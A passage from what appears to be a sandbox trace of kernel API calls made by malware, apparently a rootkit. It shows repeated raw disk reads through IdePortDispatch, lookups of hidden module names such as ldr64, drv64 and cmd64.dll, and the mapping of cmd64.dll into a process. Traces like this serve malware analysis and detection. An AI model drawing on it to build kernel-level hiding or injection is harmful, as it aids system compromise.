FastMutex=0xfffffa80027d3898) [0071.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.463] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0071.463] IdePortDispatch () returned 0x103 [0071.463] KeWaitForMutexObject () returned 0x0 [0071.463] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.463] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.463] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.463] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.463] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.464] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.464] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.464] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.464] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.464] KeLeaveCriticalRegion () [0071.464] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.464] ZwMapViewOfSection (in: SectionHandle=0x48, ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0071.464] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0071.464] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.464] KeEnterCriticalRegion () [0071.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.464] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349c000 [0071.464] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.464] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.464] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.464] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.464] IdePortDispatch () returned 0x103 [0071.465] KeWaitForMutexObject () returned 0x0 [0071.465] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.465] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.465] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.465] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.465] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.465] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.465] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.465] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.465] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.465] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.465] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.465] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.465] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.465] IdePortDispatch () returned 0x103 [0071.466] KeWaitForMutexObject () returned 0x0 [0071.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.466] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.466] IdePortDispatch () returned 0x103 [0071.466] KeWaitForMutexObject () returned 0x0 [0071.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.466] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.466] IdePortDispatch () returned 0x103 [0071.467] KeWaitForMutexObject () returned 0x0 [0071.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.467] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.467] IdePortDispatch () returned 0x103 [0071.467] KeWaitForMutexObject () returned 0x0 [0071.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.467] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.467] IdePortDispatch () returned 0x103 [0071.468] KeWaitForMutexObject () returned 0x0 [0071.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.468] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.468] IdePortDispatch () returned 0x103 [0071.468] KeWaitForMutexObject () returned 0x0 [0071.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.468] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.468] IdePortDispatch () returned 0x103 [0071.469] KeWaitForMutexObject () returned 0x0 [0071.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.469] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.469] IdePortDispatch () returned 0x103 [0071.469] KeWaitForMutexObject () returned 0x0 [0071.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.469] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.470] IdePortDispatch () returned 0x103 [0071.470] KeWaitForMutexObject () returned 0x0 [0071.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.470] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.470] IdePortDispatch () returned 0x103 [0071.470] KeWaitForMutexObject () returned 0x0 [0071.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.471] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.471] IdePortDispatch () returned 0x103 [0071.471] KeWaitForMutexObject () returned 0x0 [0071.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.471] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.471] IdePortDispatch () returned 0x103 [0071.471] KeWaitForMutexObject () returned 0x0 [0071.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.472] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.472] IdePortDispatch () returned 0x103 [0071.472] KeWaitForMutexObject () returned 0x0 [0071.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.472] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.472] IdePortDispatch () returned 0x103 [0071.473] KeWaitForMutexObject () returned 0x0 [0071.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.473] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.473] IdePortDispatch () returned 0x103 [0071.473] KeWaitForMutexObject () returned 0x0 [0071.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.473] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.473] IdePortDispatch () returned 0x103 [0071.474] KeWaitForMutexObject () returned 0x0 [0071.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.474] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.474] IdePortDispatch () returned 0x103 [0071.474] KeWaitForMutexObject () returned 0x0 [0071.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.474] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.474] IdePortDispatch () returned 0x103 [0071.475] KeWaitForMutexObject () returned 0x0 [0071.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.475] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.475] IdePortDispatch () returned 0x103 [0071.475] KeWaitForMutexObject () returned 0x0 [0071.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.475] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.475] IdePortDispatch () returned 0x103 [0071.476] KeWaitForMutexObject () returned 0x0 [0071.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.476] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.476] IdePortDispatch () returned 0x103 [0071.476] KeWaitForMutexObject () returned 0x0 [0071.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.476] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.476] IdePortDispatch () returned 0x103 [0071.477] KeWaitForMutexObject () returned 0x0 [0071.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.477] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.477] IdePortDispatch () returned 0x103 [0071.477] KeWaitForMutexObject () returned 0x0 [0071.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.477] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.478] IdePortDispatch () returned 0x103 [0071.478] KeWaitForMutexObject () returned 0x0 [0071.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.478] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.478] IdePortDispatch () returned 0x103 [0071.478] KeWaitForMutexObject () returned 0x0 [0071.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.478] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.479] IdePortDispatch () returned 0x103 [0071.479] KeWaitForMutexObject () returned 0x0 [0071.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.479] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.479] IdePortDispatch () returned 0x103 [0071.479] KeWaitForMutexObject () returned 0x0 [0071.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.480] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.480] IdePortDispatch () returned 0x103 [0071.480] KeWaitForMutexObject () returned 0x0 [0071.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.480] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.480] IdePortDispatch () returned 0x103 [0071.480] KeWaitForMutexObject () returned 0x0 [0071.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.481] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.481] IdePortDispatch () returned 0x103 [0071.481] KeWaitForMutexObject () returned 0x0 [0071.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.481] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.481] IdePortDispatch () returned 0x103 [0071.482] KeWaitForMutexObject () returned 0x0 [0071.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.482] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.482] IdePortDispatch () returned 0x103 [0071.482] KeWaitForMutexObject () returned 0x0 [0071.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.482] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.482] IdePortDispatch () returned 0x103 [0071.483] KeWaitForMutexObject () returned 0x0 [0071.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.483] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.483] IdePortDispatch () returned 0x103 [0071.483] KeWaitForMutexObject () returned 0x0 [0071.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: 